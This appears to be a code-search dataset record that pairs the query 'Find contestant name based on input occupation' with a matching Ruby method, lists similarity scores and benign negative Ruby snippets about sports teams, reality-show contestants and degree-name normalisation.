"def select_head_to_head(season)\n # selecting first team\n puts \"Select the first team:\"\n team1 = self.select_team(season)\n self.add_line_break\n\n # selecting second team\n puts \"Select the second team:\"\n team2 = self.select_team(season)\n\n # Checks if teams are the same, and keeps asking for another team until they are not\n while team1 == team2\n puts \"You picked the same team. Try again.\"\n team2=self.select_team(season)\n end\n\n # sends 2 teams off to another method\n self.print_head_to_head(team1,team2,season)\n end",
"def get_contestant_name(data, occupation)\n return_value = \"No contestant with that occupation!\"\n data.each do |season_in_hash, contestant_array|\n contestant_array.each do |contestant|\n if contestant[\"occupation\"] == occupation\n return_value = contestant[\"name\"]\n end\n end \n end\n return_value\nend",
"def rps_tournament_winner(tournament)\n if tournament[0][1].is_a?(String)\n player_1 = tournament[0]\n player_2 = tournament[1]\n else\n player_1 = rps_tournament_winner(tournament[0])\n player_2 = rps_tournament_winner(tournament[1])\n end\n return rps_game_winner([player_1, player_2])\nend",
"def first_player\n singles_player_of_team first_team\n end",
"def winner\n won = \"\"\n if winner = won?\n won = @board[winner.first]\n end\n end",
"def get_contestant_name(data, occupation)\n data.each do |seasons, contestants|\n contestants.each do |contestant_data|\n contestant_data.each do |c_key, c_value|\n if contestant_data[\"occupation\"] == occupation\n return contestant_data[\"name\"]\n end\n end\n end\n end\nend",
"def select_team(season)\n puts \"Type in the name of the team or the city they are based in or type 'exit' to quit:\"\n input = gets.strip.downcase\n\n # Checks if input is exit\n if exit?(input)\n self.exit_program\n # Check if input matches a team; if matches, return the team\n elsif team = season.find_a_team(input) # search for team in Team class\n team\n # if no matches, prompt user to try again.\n else\n puts \"Can't find that team. Try Again.\"\n select_team(season)\n end\n end",
"def winning_team\n most_points_scored_helper\n winning_team = \"\"\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if most_points_scored_helper == element[:points]\n winning_team = value[:team_name]\n end\n end\n end\n winning_team\nend",
"def get_standard_name(name)\n # BACHELORS\n if @medicine_surgery_bachelors.include? name\n standard_name = 'Bachelor of Medicine, Bachelor of Surgery (MBBS)'\n elsif @med_sci_bachelors.include? name\n standard_name = 'Bachelor of Medical Science (BMedSci)'\n elsif @science_bachelors.include? name\n standard_name = 'Bachelor of Science (BSc)'\n elsif @art_bachelors.include? name\n standard_name = 'Bachelor of Arts (BA)'\n elsif @philosophy_bachelors.include? name\n standard_name = 'Bachelor of Philosophy (BPhil)'\n elsif @engineering_bachelors.include? name\n standard_name = 'Bachelor of Engineering (BEng)'\n elsif @law_bachelors.include? name\n standard_name = 'Bachelor of Laws (LLB)'\n # MASTERS\n elsif @philosophy_masters_by_pubs.include? name\n standard_name = 'Master of Philosophy by publications (MPhil)'\n elsif @philosophy_masters.include? name\n standard_name = 'Master of Philosophy (MPhil)'\n elsif @art_masters_by_research.include? name\n standard_name = 'Master of Arts (by research) (MA (by research))'\n elsif @art_masters.include? name\n standard_name = 'Master of Arts (MA)'\n elsif @science_masters_by_research.include? name\n standard_name = 'Master of Science (by research) (MSc (by research))'\n elsif @science_masters_by_thesis.include? name\n standard_name = 'Master of Science (by thesis) (MSc (by thesis))'\n elsif @science_masters_msc.include? name\n standard_name = 'Master of Science (MSc)'\n elsif @science_masters_msci.include? name\n standard_name = 'Master of Science (MSci)'\n elsif @laws_masters.include? name\n standard_name = 'Master of Laws (LLM)'\n elsif @law_masters.include? name\n standard_name = 'Master of Law (MLaw)'\n elsif @public_admin_masters.include? name\n standard_name = 'Master of Public Administration (MPA)'\n elsif @biology_masters.include? name\n standard_name = 'Master of Biology (MBiol)'\n elsif @bio_chem_masters.include? name\n standard_name = 'Master of Biochemistry (MBiochem)'\n elsif @bio_med_masters.include? name\n standard_name = 'Master of Biomedical Science (MBiomedsci)'\n elsif @chemistry_masters.include? name\n standard_name = 'Master of Chemistry (MChem)'\n elsif @engineering_masters.include? name\n standard_name = 'Master of Engineering (MEng)'\n elsif @math_masters.include? name\n standard_name = 'Master of Mathematics (MMath)'\n elsif @physics_masters.include? name\n standard_name = 'Master of Physics (MPhys)'\n elsif @psych_masters.include? name\n standard_name = 'Master of Psychology (MPsych)'\n elsif @env_masters.include? name\n standard_name = 'Master of Environment (MEnv)'\n elsif @nursing_masters.include? name\n standard_name = 'Master of Nursing (MNursing)'\n elsif @public_health_masters.include? name\n standard_name = 'Master of Public Health (MPH)'\n elsif @soc_work_and_sci_masters.include? name\n standard_name = 'Master of Social Work and Social Science (MSWSS)'\n # order crucial so more specific name above is searched for first\n elsif @social_work_masters.include? name\n standard_name = 'Master in Social Work (MSocW)'\n elsif @research_masters.include? name\n standard_name = 'Master of Research (MRes)'\n # DOCTORATES\n elsif @letters_docts.include? name\n standard_name = 'Doctor of Letters (DLitt)'\n elsif @music_docts.include? name\n standard_name = 'Doctor of Music (DMus)'\n elsif @science_docts.include? name\n standard_name = 'Doctor of Science (ScD)'\n elsif @engineering_docts.include? name\n standard_name = 'Doctor of Engineering (EngD)'\n elsif @medical_docts_by_pubs.include? name\n standard_name = 'Doctor of Medicine by publications (MD)'\n elsif @medical_docts.include? name\n standard_name = 'Doctor of Medicine (MD)'\n elsif @philosophy_docts_by_pubs.include? name\n standard_name = 'Doctor of Philosophy by publications (PhD)'\n elsif @philosophy_docts.include? name\n standard_name = 'Doctor of Philosophy (PhD)'\n\n # OTHER EXAMS\n elsif @foundation_degrees.include? name\n standard_name = 'Foundation Degree (FD)'\n elsif @cert_hes.include? name\n standard_name = 'Certificate of Higher Education (CertHE)'\n elsif @dip_hes.include? name\n standard_name = 'Diploma of Higher Education (DipHE)'\n elsif @grad_certs.include? name\n standard_name = 'Graduate Certificate (GradCert)'\n elsif @grad_diplomas.include? name\n standard_name = 'Graduate Diploma (GradDip)'\n elsif @uni_certs.include? name\n standard_name = 'University Certificate'\n elsif @foundation_certs.include? name\n standard_name = 'Foundation Certificate (F Cert)'\n elsif @foundation.include? name\n standard_name = 'Foundation'\n elsif @pre_masters.include? name\n standard_name = 'Pre-Masters'\n elsif @conservation_diplomas.include? name\n standard_name = 'Postgraduate Diploma in Conservation Studies (PGDip)'\n elsif @medieval_diplomas.include? name\n standard_name = 'Postgraduate Diploma in Medieval Studies (PGDip)'\n # this is more general so crucial it is tested AFTER more specific diplomas\n elsif @pg_diplomas.include? name\n standard_name = 'Postgraduate Diploma (PGDip)'\n elsif @pgces.include? name\n standard_name = 'Postgraduate Certificate in Education (PGCE)'\n elsif @pg_medical_certs.include? name\n standard_name = 'Postgraduate Certificate in Medical Education (PGCert)'\n elsif @cpds.include? name\n standard_name = 'Continuing Professional Development (CPD)'\n elsif @pg_certs.include? name\n standard_name = 'Postgraduate Certificate (PgCert)'\n elsif @cefrs.include? name\n standard_name = 'CEFR Module'\n else\n # UNMATCHED\n standard_name = 'COULD NOT MATCH ' + name\n end\n standard_name\n end",
"def season_with_most_games\n seasons = @games.group_by { |game| game.season }\n seasons.max_by { |season, games| games.count }.first\n end",
"def winner\n\t\ts = {}\n\t\t@vPlayers.each {|player|\n\t\t\ts[player.name.to_s] = player.score.totalScore\n\t\t}\n\t\tmax = s.values.max\n\t\tname = s.select{|k, v| v == max}.keys\n\t\tscore = s.select{|k, v| v == max}.values\n\t\t\n\t\tprint \"The winner is \" + name[0].to_s + \" with a total score of \" + score[0].to_s\n\t\tputs \"\",\"\"\n\t\t\n\tend",
"def get_active_season\n today = Date.today\n season = Season.where('start_date < ? AND end_date > ?', today, today).first\n if season.nil?\n season = Season.where('start_date > ? AND start_date < ?', today, (today + 7.days)).first\n if season.nil?\n season = Season.where('end_date > ?', today).last\n end \n end\n return season\n end",
"def lowest_scoring_home_team\n @teams.min_by { |team| team.average_home_goals }.team_name\n end",
"def determine_winner\n result = @data[\"game_tags\"][\"Result\"]\n whites_result = result.split(\"-\")\n if whites_result == \"1\"\n \"White Wins!\"\n elsif whites_result == \"1/2\"\n \"It's a draw!\"\n else\n \"Black Wins!\"\n end\n end",
"def select_winner(passengers)\n # add the code snippet here!\n winner = \"\" #empty string to hold winner variable\n passengers.each do |suite, name| #loop through the key, value pairs of the passengers hash...\n if suite == :suite_a && name.start_with?(\"A\") #and if the suite key equals suite_a and the name value starts with \"A\"...\n winner = name #assign that name as the winner\n end #end if statement\n end #end for each loop\n winner #return winner\nend",
"def select_winner(passengers)\n # add the code snippet here!\n winner = \"\" #empty string to hold winner variable\n passengers.each do |suite, name| #loop through the key, value pairs of the passengers hash...\n if suite == :suite_a && name.start_with?(\"A\") #and if the suite key equals suite_a and the name value starts with \"A\"...\n winner = name #assign that name as the winner\n end #end if statement\n end #end for each loop\n winner #return winner\nend",
"def handle_sn\n handle_possible(SeparatorSpace)\n @season = @tokens[@index].get_tag(SeasonName).type\n @index += 1\n @precision = :season\n end",
"def winter_paralympics_sport\n fetch('sport.winter_paralympics')\n end",
"def get_team_name\n team ? team.get_full_name : '?'\n end",
"def get_team_name\n team ? team.get_full_name : '?'\n end",
"def get_team_name\n team ? team.get_full_name : '?'\n end",
"def get_team_name\n team ? team.get_full_name : '?'\n end"
] |
[
"0.8681817",
"0.84333616",
"0.81460685",
"0.7613619",
"0.7498108",
"0.7057714",
"0.6980325",
"0.680163",
"0.6795181",
"0.6747833",
"0.66798264",
"0.6675403",
"0.6652819",
"0.6644478",
"0.6624598",
"0.66100943",
"0.6584078",
"0.6581036",
"0.657249",
"0.6526452",
"0.6497361",
"0.646118",
"0.64559233",
"0.64515543",
"0.6439653",
"0.64152884",
"0.6372596",
"0.6366428",
"0.6344271",
"0.63391054",
"0.62998736",
"0.6298122",
"0.626322",
"0.62157637",
"0.6198146",
"0.61878496",
"0.6183792",
"0.6134021",
"0.6133116",
"0.60876137",
"0.6082116",
"0.6078109",
"0.60466707",
"0.6021974",
"0.60195166",
"0.60181326",
"0.59992945",
"0.5982428",
"0.5981132",
"0.5979829",
"0.59660584",
"0.595996",
"0.5959792",
"0.5954139",
"0.5933849",
"0.58980554",
"0.5889187",
"0.588448",
"0.5848625",
"0.5840666",
"0.58244455",
"0.58150244",
"0.58102536",
"0.58034945",
"0.5735609",
"0.57343364",
"0.572426",
"0.57187736",
"0.5675598",
"0.56650835",
"0.5664644",
"0.566411",
"0.5648459",
"0.56391966",
"0.56391966",
"0.5638912",
"0.5635119",
"0.5634218",
"0.5631189",
"0.5627454",
"0.5624477",
"0.56198454",
"0.5610655",
"0.55974275",
"0.55883276",
"0.5584311",
"0.5581417",
"0.5578877",
"0.55779976",
"0.5576615",
"0.5575834",
"0.5575187",
"0.5573145",
"0.5573145",
"0.557078",
"0.55622977",
"0.55614316",
"0.55614316",
"0.55614316",
"0.55614316"
] |
0.8102584
|
3
|
Find contestant name based on input occupation
|
def get_contestant_name(data, occupation)
data.each do |season, person|
person.each do |person_data|
return person_data["name"] if person_data["occupation"] == occupation
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_contestant_name(data, occupation)\n name = ''\n data.each do |season, contestants|\n name = contestants.find{|contestant| contestant['occupation'] == occupation}\n break if name != nil\n end\n name['name']\nend",
"def get_contestant_name(data, occupation)\n data.values.each do |info_hash|\n \t info_hash.each do |one_person|\n \t\tif one_person[\"occupation\"] == occupation \t\t\n \t\t\treturn one_person[\"name\"]\n \t\tend\n \t end\n end\nend",
"def get_contestant_name(data, occupation)\n data.each do |season, info|\n info.each do |people|\n people.each do |k,v|\n if v == occupation\n return people[\"name\"]\n end\n end\n end\n end\nend",
"def get_contestant_name(data, occupation)\n data.each do |season_iteration, stats|\n stats.find do |job|\n if job[\"occupation\"] == occupation\n return job[\"name\"]\n end\n end\n end\nend",
"def get_contestant_name(data, occupation)\n data.each do |season, contestants|\n contestants.each do |contestant_hash|\n if contestant_hash[\"occupation\"] == occupation\n return contestant_hash[\"name\"]\n end\n end\n end\nend",
"def get_contestant_name(data, occupation)\n data.each do |seasons, contestants|\n contestants.each do |contestant_data|\n contestant_data.each do |c_key, c_value|\n if contestant_data[\"occupation\"] == occupation\n return contestant_data[\"name\"]\n end\n end\n end\n end\nend",
"def get_contestant_name(data, occupation)\n return_value = \"No contestant with that occupation!\"\n data.each do |season_in_hash, contestant_array|\n contestant_array.each do |contestant|\n if contestant[\"occupation\"] == occupation\n return_value = contestant[\"name\"]\n end\n end \n end\n return_value\nend",
"def get_contestant_name(data, occupation)\n data.each do |season_key, contestants_array|\n contestants_array.each do |contestant_info| \n if contestant_info[\"occupation\"] == occupation\n return contestant_info[\"name\"]\n end \n end \n end \nend",
"def get_contestant_name(data, occupation)\n data.each do |season_hash, info|\n info.each do |detail|\n if detail[\"occupation\"] == occupation\n return detail[\"name\"]\n end\n end\n end\n# binding.pry\nend",
"def get_contestant_name(data, occupation)\n # code here\n data.each { |season, array|\n #puts array\n array.each {|hash|\n hash.each {|detail, info|\n if info == occupation\n return hash[\"name\"]\n end\n }\n #return puts attribute, stat\n #if stat == \"occupation\"\n # #if stat\n # return name\n #end\n }\n\n }\n\nend",
"def get_contestant_name(data, occupation)\ncontestant_name = data.each do |season,contestant|\n #binding.pry\ncontestant.each do |x|\n #binding.pry\n if x[\"occupation\"] == occupation\n name = x[\"name\"]\n return name\n end\nend\nend\nend",
"def get_occupation(data, hometown)\n return_value = \"No contestants from that hometown\"\n data.each do |season_in_hash, contestant_array|\n contestant_array.each do |contestant|\n contestant.each do |x, y|\n if contestant['hometown'] == hometown\n return contestant['occupation']\n end\n end \n end\n end \n return_value\nend",
"def get_occupation(data, hometown)\n answer_occupation = \"\"\n data.each do |season_key, season_data|\n season_data.each_with_index do |contestant, index|\n contestant.each do |key, value|\n if value == hometown\n if answer_occupation == \"\"\n answer_occupation = season_data[index][\"occupation\"]\n end\n end\n end\n end\n end\n answer_occupation\nend",
"def name\n 'occupant'\n end",
"def get_contestant_name(data, occupation)\ndata.each do |season, season_array|\n season_array.each do |into_array|\n if into_array[\"occupation\"] == occupation\n job_p = []\n job_p = into_array[\"name\"]\n return job_p #WHY???\n end \n end \n end \nend",
"def get_occupation(data, hometown)\n data.each do |season, info|\n info.each do |people|\n people.each do |k,v|\n if v == hometown\n return people[\"occupation\"]\n end\n end\n end\n end\nend",
"def get_occupation(data, hometown)\n a = \"\"\n data.each do |season , seasonInfo|\n seasonInfo.each do |contestant|\n \n contestant.each do |k , v|\n if k == \"hometown\" && v == hometown\n a = contestant[\"occupation\"].to_s\n puts \"#{contestant[:name]} is a #{a}\"\n return a\n #break\n end\n end\n \n end\n \n end\n # code here\n #return a\nend",
"def get_occupation(data, hometown)\n data.each do |season_iteration, stats|\n stats.find do |town|\n if town[\"hometown\"] == hometown\n return town[\"occupation\"]\n end\n end\n end\nend",
"def court_division\n case(court)\n when \"superior\"\n \"Suffolk County Civil\"\n when /^bmc/\n court_name\n else\n \"N/A\"\n end\n end",
"def get_occupation(data, hometown)\n data.each do |season, person| \n person.each do |person_data|\n return person_data[\"occupation\"] if person_data[\"hometown\"] == hometown\n end\n end \nend",
"def get_occupation(data, hometown)\n data.each do |season_hash, info|\n info.each do |detail|\n if detail[\"hometown\"] == hometown\n return detail[\"occupation\"]\n end \n end \n end\nend",
"def test_return_neighbor_name\n t = Town::new 'Dynamic Palisades', ['Matzburg', 'Hash Crossing'], 2, 2\n n_name = t.return_neighbor_name 1\n assert_equal n_name, 'Matzburg'\n end",
"def getname\n @name = params[:name]\n @highestsponsorshipofcsievent = Institute.where(\"name like ?\", \"%#{@name}%\").first\n end",
"def name\n location_in_intersection.present? ? (\n \"#{id}-#{location_in_intersection}\"\n ) : (\"Corner ##{id}\")\n end",
"def get_university_name(text)\n name = nil\n @universities.reverse.each do |u|\n if text.downcase.include?(u.downcase)\n name = u\n end\n end\n return name\nend",
"def names_of_departments_with_employees_from_portsmouth(departments)\nend",
"def middle_name\n self.dig_for_string(\"agentSummary\", \"middleName\")\n end",
"def kingdom\n return text_name if rank == \"Kingdom\"\n\n parse_classification.find { |rank| rank.first == \"Kingdom\" }&.last\n end",
"def organism_place_name\n if places.first\n places.first.name\n elsif location\n location\n end\n end",
"def get_registed_course_name( registed_unit )\n course = Course.find registed_unit\n course.name\n end",
"def getSpecialtyName(speciality_id)\n \tbegin\n \t\tspecialtyname = Clinicalsection.find(speciality_id).sectionname\n \trescue ActiveRecord::RecordNotFound => e\n \t\tspecialtyname = ''\n \tend\n return specialtyname\n end",
"def get_occupation(data, hometown)\n # code here\n occupation = nil \n data.each do |key1, value1|\n value1.each do |key_value_pair|\n if key_value_pair[\"hometown\"] == hometown\n occupation = key_value_pair[\"occupation\"]\n break\n end\n end\n end\n occupation\nend",
"def district_name(name)\n if name.to_s[/\\A[\\dA-Z]+\\z/]\n \"District #{name}\"\n else\n name\n end\n end",
"def match_to_preflabel(name)\n name = name.downcase\n case name\n when /reconstruction/\n standard_name = 'University of York. Post-war Reconstruction and'\\\n ' Development Unit'\n when /applied human rights/\n standard_name = 'University of York. Centre for Applied Human Rights'\n when /health economics/\n standard_name = 'University of York. Centre for Health Economics'\n when /health sciences/\n standard_name = 'University of York. Department of Health Sciences'\n when /lifelong learning/\n standard_name = 'University of York. Centre for Lifelong Learning'\n when /medieval studies/\n standard_name = 'University of York. Centre for Medieval Studies'\n when /renaissance/\n standard_name = 'University of York. Centre for Renaissance and Early'\\\n ' Modern Studies'\n when /reviews/\n standard_name = 'University of York. Centre for Reviews and'\\\n ' Disseminations'\n when /women/\n standard_name = \"University of York. Centre for Women's Studies\"\n when /school of social and political science/\n standard_name = 'University of York. School of Social and Political'\\\n ' Science'\n when /social policy/\n standard_name = 'University of York. Department of Social Policy and'\\\n ' Social Work'\n when /school of politics economics and philosophy/\n standard_name = 'University of York. School of Politics Economics and'\\\n ' Philosophy'\n when /politics/\n standard_name = 'University of York. Department of Politics'\n when /economics and related/\n standard_name = 'University of York. Department of Economics and Related'\\\n ' Studies'\n when /economics and philosophy/\n standard_name = 'University of York. School of Politics Economics and'\\\n ' Philosophy'\n when /history of art/\n standard_name = 'University of York. Department of History of Art'\n when /history/\n standard_name = 'University of York. Department of History'\n when /electronic/\n standard_name = 'University of York. Department of Electronic Engineering'\n when /theatre/\n standard_name = 'University of York. Department of Theatre, Film and'\\\n ' Television'\n when /physics/\n standard_name = 'University of York. Department of Physics'\n when /computer/\n standard_name = 'University of York. Department of Computer Science'\n when /psychology/\n standard_name = 'University of York. Department of Psychology'\n when /law/\n standard_name = 'University of York. York Law School'\n when /mathematics/\n standard_name = 'University of York. Department of Mathematics'\n when /advanced architectural/\n standard_name = 'University of York. Institute of Advanced Architectural'\\\n ' Studies'\n when /conservation/\n standard_name = 'University of York. Centre for Conservation Studies'\n when /eighteenth century/\n standard_name = 'University of York. Centre for Eighteenth Century\n Studies'\n when /chemistry/\n standard_name = 'University of York. Department of Chemistry'\n when /sociology/\n standard_name = 'University of York. Department of Sociology'\n when /education/\n standard_name = 'University of York. Department of Education'\n when /music/\n standard_name = 'University of York. Department of Music'\n when /archaeology/\n standard_name = 'University of York. Department of Archaeology'\n when /biology/\n standard_name = 'University of York. Department of Biology'\n when /biochemistry/ # confirmed with metadata team - recheck?\n standard_name = 'University of York. Department of Biology'\n when /english and related/ # confirmed directly with English department\n standard_name = 'University of York. Department of English and Related'\\\n ' Literature'\n when /philosophy/\n standard_name = 'University of York. Department of Philosophy'\n when /management studies/\n standard_name = 'University of York. Department of Management Studies'\n when /management school/\n # older versionof department name which should be retained if match found\n standard_name = 'University of York. The York Management School'\n when /language and linguistic science/\n standard_name = 'University of York. Department of Language and'\\\n ' Linguistic Science'\n when /language and lingusitic science/ # deal with common typo\n standard_name = 'University of York. Department of Language and'\\\n ' Linguistic Science'\n when /for all/ # this is 'languages for all' but in some records 'language'\n standard_name = 'University of York. Department of Language and'\\\n ' Linguistic Science. Languages for All'\n when /hull/\n standard_name = 'Hull York Medical School'\n when /international pathway/\n standard_name = 'University of York. International Pathway College'\n when /school of criminology/\n standard_name = 'University of York. School of Criminology'\n when /natural sciences/\n standard_name = 'University of York. School of Natural Sciences'\n when /environment and geography/ # order important, more precise must be first\n standard_name = 'University of York. Department of Environment and Geography'\n when /environment/\n standard_name = 'University of York. Environment Department'\n else\n standard_name = 'COULD NOT MATCH ' + name\n end\n standard_name\n end",
"def names_of_departments_with_more_contractors_than_permanent(departments)\nend",
"def names_of_departments_with_one_employee(departments)\nend",
"def sector_industry_label\n sector_name = industry.try(:sector).try(:name)\n industry_name = industry.try(:name)\n return \"\" unless industry_name && sector_name\n \"#{sector_name} / #{industry_name}\"\n end",
"def search_person(name = \"\")\n\t\t@nutshell.search_person(name)\n\tend",
"def name_with_seat_incumbency_text(person_display_name, seat_incumbency_text)\n \"#{person_display_name} #{seat_incumbency_text}.\"\n end",
"def patient_name\n member_id, qualifier = eob.member_id_and_qualifier\n patient_name_elements = []\n patient_name_elements << 'NM1'\n patient_name_elements << 'QC'\n patient_name_elements << '1'\n patient_name_elements << eob.patient_last_name\n patient_name_elements << eob.patient_first_name\n patient_name_elements << eob.patient_middle_initial\n patient_name_elements << ''\n patient_name_elements << eob.patient_suffix\n patient_name_elements << qualifier\n patient_name_elements << member_id\n patient_name_elements = Output835.trim_segment(patient_name_elements)\n patient_name_elements.join(@element_seperator)\n end",
"def names_of_departments_with_at_least_one_contractor(departments)\nend",
"def cuisine \n puts \"What kind of Cuisine are you in the mood for tonight?\"\n c = gets.chomp \n x = Dish.find_by(cuisine: c)\n pp \"Since you are looking for \" + c + \", we found you \" + x.name.downcase\nend",
"def find_name_by( name:, season: )\n recs = @clubs[ name ]\n if recs\n season = Season( season ) ## make sure season is a season obj (and NOT a string)\n ## check season records for name; use linear search (assume only few records)\n recs.each do |rec|\n if season >= rec[0]\n return strip_geo( rec[1][1][1][0] ) # use second arg\n end\n end\n ## if we get here use last name\n strip_geo( recs[-1][1][1][0][0] ) # use first arg\n else\n nil\n end\n end",
"def name\n return 'AedgSmallToMediumOfficeRoofConstruction'\n end",
"def get_race_name(param)\n\t\trec = \"\"\n\t\tRace.all.each do |race|\n\t\t\trace[\"codes\"].each do |code|\n\t\t \tif code == param\n\t\t \t\trec = race.name\n\t\t \tend\n\t\t end \n\t\tend\n\t\trec\n\tend",
"def name_by_letter\n puts \"Please enter a letter to search (first name)\"\n puts \"To return the current directory, hit enter twice\"\n letter = STDIN.gets.chomp.upcase\n @students.each do |student|\n if letter == student[:name][0]\n puts \"#{student[:name]} (#{student[:cohort]} cohort)\"\n end\n end\nend",
"def get_standard_name(name)\n # BACHELORS\n if @medicine_surgery_bachelors.include? name\n standard_name = 'Bachelor of Medicine, Bachelor of Surgery (MBBS)'\n elsif @med_sci_bachelors.include? name\n standard_name = 'Bachelor of Medical Science (BMedSci)'\n elsif @science_bachelors.include? name\n standard_name = 'Bachelor of Science (BSc)'\n elsif @art_bachelors.include? name\n standard_name = 'Bachelor of Arts (BA)'\n elsif @philosophy_bachelors.include? name\n standard_name = 'Bachelor of Philosophy (BPhil)'\n elsif @engineering_bachelors.include? name\n standard_name = 'Bachelor of Engineering (BEng)'\n elsif @law_bachelors.include? name\n standard_name = 'Bachelor of Laws (LLB)'\n # MASTERS\n elsif @philosophy_masters_by_pubs.include? name\n standard_name = 'Master of Philosophy by publications (MPhil)'\n elsif @philosophy_masters.include? name\n standard_name = 'Master of Philosophy (MPhil)'\n elsif @art_masters_by_research.include? name\n standard_name = 'Master of Arts (by research) (MA (by research))'\n elsif @art_masters.include? name\n standard_name = 'Master of Arts (MA)'\n elsif @science_masters_by_research.include? name\n standard_name = 'Master of Science (by research) (MSc (by research))'\n elsif @science_masters_by_thesis.include? name\n standard_name = 'Master of Science (by thesis) (MSc (by thesis))'\n elsif @science_masters_msc.include? name\n standard_name = 'Master of Science (MSc)'\n elsif @science_masters_msci.include? name\n standard_name = 'Master of Science (MSci)'\n elsif @laws_masters.include? name\n standard_name = 'Master of Laws (LLM)'\n elsif @law_masters.include? name\n standard_name = 'Master of Law (MLaw)'\n elsif @public_admin_masters.include? name\n standard_name = 'Master of Public Administration (MPA)'\n elsif @biology_masters.include? name\n standard_name = 'Master of Biology (MBiol)'\n elsif @bio_chem_masters.include? name\n standard_name = 'Master of Biochemistry (MBiochem)'\n elsif @bio_med_masters.include? name\n standard_name = 'Master of Biomedical Science (MBiomedsci)'\n elsif @chemistry_masters.include? name\n standard_name = 'Master of Chemistry (MChem)'\n elsif @engineering_masters.include? name\n standard_name = 'Master of Engineering (MEng)'\n elsif @math_masters.include? name\n standard_name = 'Master of Mathematics (MMath)'\n elsif @physics_masters.include? name\n standard_name = 'Master of Physics (MPhys)'\n elsif @psych_masters.include? name\n standard_name = 'Master of Psychology (MPsych)'\n elsif @env_masters.include? name\n standard_name = 'Master of Environment (MEnv)'\n elsif @nursing_masters.include? name\n standard_name = 'Master of Nursing (MNursing)'\n elsif @public_health_masters.include? name\n standard_name = 'Master of Public Health (MPH)'\n elsif @soc_work_and_sci_masters.include? name\n standard_name = 'Master of Social Work and Social Science (MSWSS)'\n # order crucial so more specific name above is searched for first\n elsif @social_work_masters.include? name\n standard_name = 'Master in Social Work (MSocW)'\n elsif @research_masters.include? name\n standard_name = 'Master of Research (MRes)'\n # DOCTORATES\n elsif @letters_docts.include? name\n standard_name = 'Doctor of Letters (DLitt)'\n elsif @music_docts.include? name\n standard_name = 'Doctor of Music (DMus)'\n elsif @science_docts.include? name\n standard_name = 'Doctor of Science (ScD)'\n elsif @engineering_docts.include? name\n standard_name = 'Doctor of Engineering (EngD)'\n elsif @medical_docts_by_pubs.include? name\n standard_name = 'Doctor of Medicine by publications (MD)'\n elsif @medical_docts.include? name\n standard_name = 'Doctor of Medicine (MD)'\n elsif @philosophy_docts_by_pubs.include? name\n standard_name = 'Doctor of Philosophy by publications (PhD)'\n elsif @philosophy_docts.include? name\n standard_name = 'Doctor of Philosophy (PhD)'\n\n # OTHER EXAMS\n elsif @foundation_degrees.include? name\n standard_name = 'Foundation Degree (FD)'\n elsif @cert_hes.include? name\n standard_name = 'Certificate of Higher Education (CertHE)'\n elsif @dip_hes.include? name\n standard_name = 'Diploma of Higher Education (DipHE)'\n elsif @grad_certs.include? name\n standard_name = 'Graduate Certificate (GradCert)'\n elsif @grad_diplomas.include? name\n standard_name = 'Graduate Diploma (GradDip)'\n elsif @uni_certs.include? name\n standard_name = 'University Certificate'\n elsif @foundation_certs.include? name\n standard_name = 'Foundation Certificate (F Cert)'\n elsif @foundation.include? name\n standard_name = 'Foundation'\n elsif @pre_masters.include? name\n standard_name = 'Pre-Masters'\n elsif @conservation_diplomas.include? name\n standard_name = 'Postgraduate Diploma in Conservation Studies (PGDip)'\n elsif @medieval_diplomas.include? name\n standard_name = 'Postgraduate Diploma in Medieval Studies (PGDip)'\n # this is more general so crucial it is tested AFTER more specific diplomas\n elsif @pg_diplomas.include? name\n standard_name = 'Postgraduate Diploma (PGDip)'\n elsif @pgces.include? name\n standard_name = 'Postgraduate Certificate in Education (PGCE)'\n elsif @pg_medical_certs.include? name\n standard_name = 'Postgraduate Certificate in Medical Education (PGCert)'\n elsif @cpds.include? name\n standard_name = 'Continuing Professional Development (CPD)'\n elsif @pg_certs.include? name\n standard_name = 'Postgraduate Certificate (PgCert)'\n elsif @cefrs.include? name\n standard_name = 'CEFR Module'\n else\n # UNMATCHED\n standard_name = 'COULD NOT MATCH ' + name\n end\n standard_name\n end",
"def patient_name\n patient_id, qualifier = eob.patient_id_and_qualifier\n patient_name_elements = []\n patient_name_elements << 'NM1'\n patient_name_elements << 'QC'\n patient_name_elements << '1'\n patient_name_elements << eob.patient_last_name.to_s.strip\n patient_name_elements << eob.patient_first_name.to_s.strip\n patient_name_elements << eob.patient_middle_initial.to_s.strip\n patient_name_elements << ''\n patient_name_elements << eob.patient_suffix\n patient_name_elements << qualifier\n patient_name_elements << patient_id\n patient_name_elements = Output835.trim_segment(patient_name_elements)\n patient_name_elements.join(@element_seperator)\n end",
"def name\n return 'AedgSmallToMediumOfficeExteriorDoorConstruction'\n end",
"def patient_name\n patient_id, qualifier = @eob.patient_id_and_qualifier\n patient_name_details = [ 'NM1', 'QC', '1', captured_or_blank_patient_last_name(@eob.patient_last_name),\n captured_or_blank_patient_first_name(@eob.patient_first_name), @eob.patient_middle_initial.to_s.strip,\n '', @eob.patient_suffix, qualifier, patient_id].trim_segment\n return nil if patient_name_details == [ 'NM1', 'QC', '1']\n patient_name_details.join(@element_seperator)\n end",
"def get_subject(school, instructor_name)\n school[:instructors].each do |instructor|\n if instructor_name == instructor[:name]\n puts instructor[:subject]\n end\n end\nend",
"def unit_lead_by_academician\n main_tasks=Login.current_login.staff.position.tasks_main\n if main_tasks.include?(\"Ketua Unit\") \n mgmt_unit=main_tasks.scan(/Ketua Unit(.*),/)[0][0].strip\n else\n mgmt_unit=\"\"\n end\n mgmt_unit\n end",
"def race_name\n RACES[self.race]\n end",
"def display_name\n kingdom_name\n end",
"def insured_name\n if @eob_type != 'Patient'\n id, qual = @eob.member_id_and_qualifier\n ['NM1', 'IL', '1', @eob.subscriber_last_name, @eob.subscriber_first_name,\n @eob.subscriber_middle_initial, '', @eob.subscriber_suffix, qual,id].trim_segment.join(@element_seperator)\n end\n end",
"def identifying_string\n @identifying_string ||= \"#{name}, Co. #{county}\"\n end",
"def work_type_name(work)\n case work.person.gender\n when \"female\" then work.type.name_feminine\n when \"male\" then work.type.name_masculine\n end\n end",
"def predict_group_name(cluster)\n first_val = cluster[0][:val]\n # find longest common substring\n group_name = cluster.inject(first_val) do |intersection, point|\n find_longest_common_substring(intersection, point[:val])\n end\n # take the longest word possibly joined with '&' or '-'\n if (group_name != '')\n group_name = group_name.scan(/[[:alnum:]|&|-[:alnum]]+/).sort_by(&:length).last\n else\n puts group_name.class\n group_name = 'Person'\n end\n group_name\n end",
